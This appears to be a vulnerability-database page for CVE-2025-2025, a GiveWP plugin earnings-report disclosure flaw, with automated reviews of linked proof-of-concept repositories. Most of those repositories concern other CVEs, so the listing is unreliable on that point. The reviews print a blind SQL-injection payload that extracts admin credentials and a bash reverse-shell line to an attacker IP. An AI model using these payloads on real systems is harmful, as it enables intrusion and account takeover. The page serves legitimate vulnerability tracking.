CVE-2025-2025
Give <= 3.22.0 - Missing Authorization to Unauthenticated Arbitrary Earning Reports Disclosure via give_reports_earnings Function
Record summary
CVE-2025-2025 has a selected CVSS score of 6.5 (medium); EIP currently links 6 repository PoCs.
Description
The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the give_reports_earnings() function in all versions up to, and including, 3.22.0. This makes it possible for unauthenticated attackers to disclose sensitive information included within earnings reports.
Exploitation context
Available material
- Repository PoCs
- 6
CISA SSVC decision
CISA Coordinator · SSVC 2.0.3 · Evaluated Mar 17, 2025 · Source: CVE List
Affected products and versions
1| Product | Source | Version range | Status |
|---|---|---|---|
GiveWP – Donation Plugin and Fundraising PlatformBrowse stellarwp / GiveWP – Donation Plugin and Fundraising PlatformDefault status: unaffected | CVE List | Through 3.22.0 | affected |
Proofs of concept
6Repository PoCs
GitHubrafaelcorvino1/CVE-2025-53640Repository PoCby rafaelcorvino1Stars: 1Not analyzed2 files
GitHubSaied25/fix-react2shell-nextRepository PoCby Saied25Stars: 0Not analyzed28 files
GitHubalxsourin/Helpdesk-Telecom-CVE-2025-64459Repository PoCby alxsourinStars: 0Not analyzed42 files
GitHubhyunchiya/CVE-2025-14124Repository PoCby hyunchiyaStars: 0Exploit3 files
Analysis
Technical assessment
A Go-based exploit for CVE-2025-14124, an unauthenticated time-based blind SQL injection in the WordPress Team Plugin. It verifies the vulnerability, extracts database information and admin credentials, and attempts to hijack an admin account via stacked queries.
Backdoor review
No backdoor observed in reviewed code
The repository contains a Go-based proof-of-concept exploit for CVE-2025-14124, a time-based blind SQL injection in the WordPress Team Plugin. The README documents the vulnerability and usage, and main.go implements the described exploit logic: plugin detection, nonce extraction, SQL injection verification, data extraction, and an admin password update attempt. No concealed backdoor, unrelated payload, or deceptive behavior was observed in the supplied text.
Classification basis and observed behavior
Classification basis
The code actively exploits a SQL injection vulnerability. It sends malicious SQL payloads to extract data and modify database records, going beyond mere detection or scanning.
main.go:135main.go:249-251main.go:350Requirements
- Target has WordPress Team Plugin installed (< 5.0.11)
README.md:58 - A page with [tlpteam] shortcode must exist
README.md:59 - At least one team member created in the plugin
README.md:60
Observed behavior
- Checks if the WordPress Team Plugin is active by probing known plugin file paths.
main.go:382-404 - Searches for a page containing the tlpteam shortcode by checking common URL paths and page content for 'data-sc-id' and 'tlp_nonce'.
main.go:406-446 - Extracts a nonce and shortcode ID from the target page using regular expressions.
main.go:448-475 - Verifies the SQL injection by sending a time-based payload ('t' OR SLEEP(n) OR 't'='t') to the admin-ajax.php endpoint and measuring the response time.
main.go:132-145 - Extracts database version, name, user, table prefix, and WordPress admin credentials (username, password hash, email) using a binary search time-based blind SQL injection technique.
main.go:147-214 - Attempts to hijack an existing admin account by sending a stacked UPDATE query to change the user's password hash.
main.go:216-272
Behaviors behind the backdoor verdict
Observables
- Exploit Functionality
- Time-based blind SQL injection via search parameterThe code sends crafted SQL payloads to the target's admin-ajax.php endpoint to verify and exploit the vulnerability, consistent with the documented CVE.
main.go:132-145main.go:477-501 - Credential Extraction
- Extracts database info and WordPress admin credentialsThe --dump mode uses blind SQL injection to retrieve database version, name, user, table prefix, and admin username/password hash/email, matching the README description.
main.go:147-214 - Admin Account Manipulation
- Attempts to update admin password via stacked SQL queryThe --create-admin mode constructs an UPDATE query to change an existing admin's password hash, which is a direct exploitation step for the documented vulnerability.
main.go:216-272
What the analysis did not establish
- One file (likely a license or .gitignore) was omitted from the evidence, but the two provided files (README.md and main.go) constitute the complete functional code of the artifact.
- The evidence does not include the output of executing the code; classification is based solely on static analysis of the source code.
- One file (unclassified, 215 bytes) was omitted from the text evidence and not analyzed; its metadata-only inventory entry provides no content to review.
- The analysis is based solely on static source code review; no dynamic execution or binary analysis was performed.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubTomKingori/xwiki-cve-2025-24893-exploitRepository PoCby TomKingoriStars: 0Exploit3 files
Analysis
Technical assessment
A Python script (pwn.py) that exploits CVE-2025-24893, an unauthenticated remote code execution vulnerability in XWiki, by injecting a Groovy payload into the SolrSearch RSS feed handler to establish a reverse shell.
Backdoor review
No backdoor observed in reviewed code
The artifact is a proof-of-concept exploit for CVE-2025-24893. The Python script (pwn.py) constructs a Groovy injection payload that executes a reverse shell command on a vulnerable XWiki instance. The README documents the exploit's purpose, usage, and a disclaimer. No concealed, deceptive, or operator-directed harmful behavior beyond the stated exploit functionality was observed in the reviewed text files.
Classification basis and observed behavior
Classification basis
The artifact contains a Python script (pwn.py) that actively constructs and delivers a malicious payload to a target server to achieve remote code execution and establish a reverse shell. This is the definition of an exploit.
pwn.py:1-49README.md:1Requirements
- A target running a vulnerable version of XWiki (prior to 15.10.9).
README.md:7 - A network listener (e.g., netcat) on the attacker's machine to receive the reverse shell.
README.md:33
Observed behavior
- Constructs a bash reverse shell command using attacker-supplied IP and port.
pwn.py:23 - Base64-encodes the reverse shell command.
pwn.py:24 - Wraps the encoded command in a Groovy code injection payload designed to break out of the RSS feed context.
pwn.py:27 - Sends an HTTP GET request to the vulnerable SolrSearch endpoint with the crafted payload.
pwn.py:33pwn.py:40
Behaviors behind the backdoor verdict
Observables
- Reverse Shell
- bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'The exploit generates a reverse shell payload to connect back to an attacker-controlled IP and port, which is the intended exploit behavior for CVE-2025-24893.
pwn.py:23 - Exploit Endpoint
- /xwiki/bin/get/Main/SolrSearch?media=rss&text=The target endpoint for the Groovy injection, consistent with the CVE description.
pwn.py:33
What the analysis did not establish
- The evidence includes a third file (LICENSE) that was not provided as text, but its absence does not affect the classification of the provided exploit code.
- The analysis is based solely on static code review; the code was not executed, and its operational reliability is not verified.
- One file (LICENSE) was omitted from the text evidence; its content was not reviewed.
- Binary content was not present, so no binary analysis was performed.
- The review is limited to static analysis of the provided source code; runtime behavior was not observed.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.